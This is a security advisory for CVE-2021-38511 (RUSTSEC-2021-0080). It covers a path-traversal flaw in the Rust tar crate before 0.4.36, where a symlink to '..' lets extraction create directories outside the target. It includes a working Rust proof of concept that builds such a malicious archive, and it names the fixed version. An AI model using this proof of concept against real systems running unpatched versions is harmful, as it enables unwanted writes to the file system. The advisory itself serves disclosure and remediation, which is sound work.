CVE-2021-38511

An issue was discovered in the tar crate before 0.4.36 for Rust. When symlinks are present in a TAR archive, extraction can create arbitrary directories via .. traversal.

RUSTSEC-2021-0080 — Links in archive can create arbitrary directories

Affected: crates.io: tar

When unpacking a tarball that contains a symlink the `tar` crate may create directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are already created at this point.

```rust use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> { let mut buf = Vec::new();

{ let mut builder = Builder::new(&mut buf);

// symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?;

// file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?;

builder.finish()?; };

Archive::new(&*buf).unpack("demo") } ```

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for discovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for the fix!

Most recent entries from all

CVE-2021-38511

RUSTSEC-2021-0080 — Links in archive can create arbitrary directories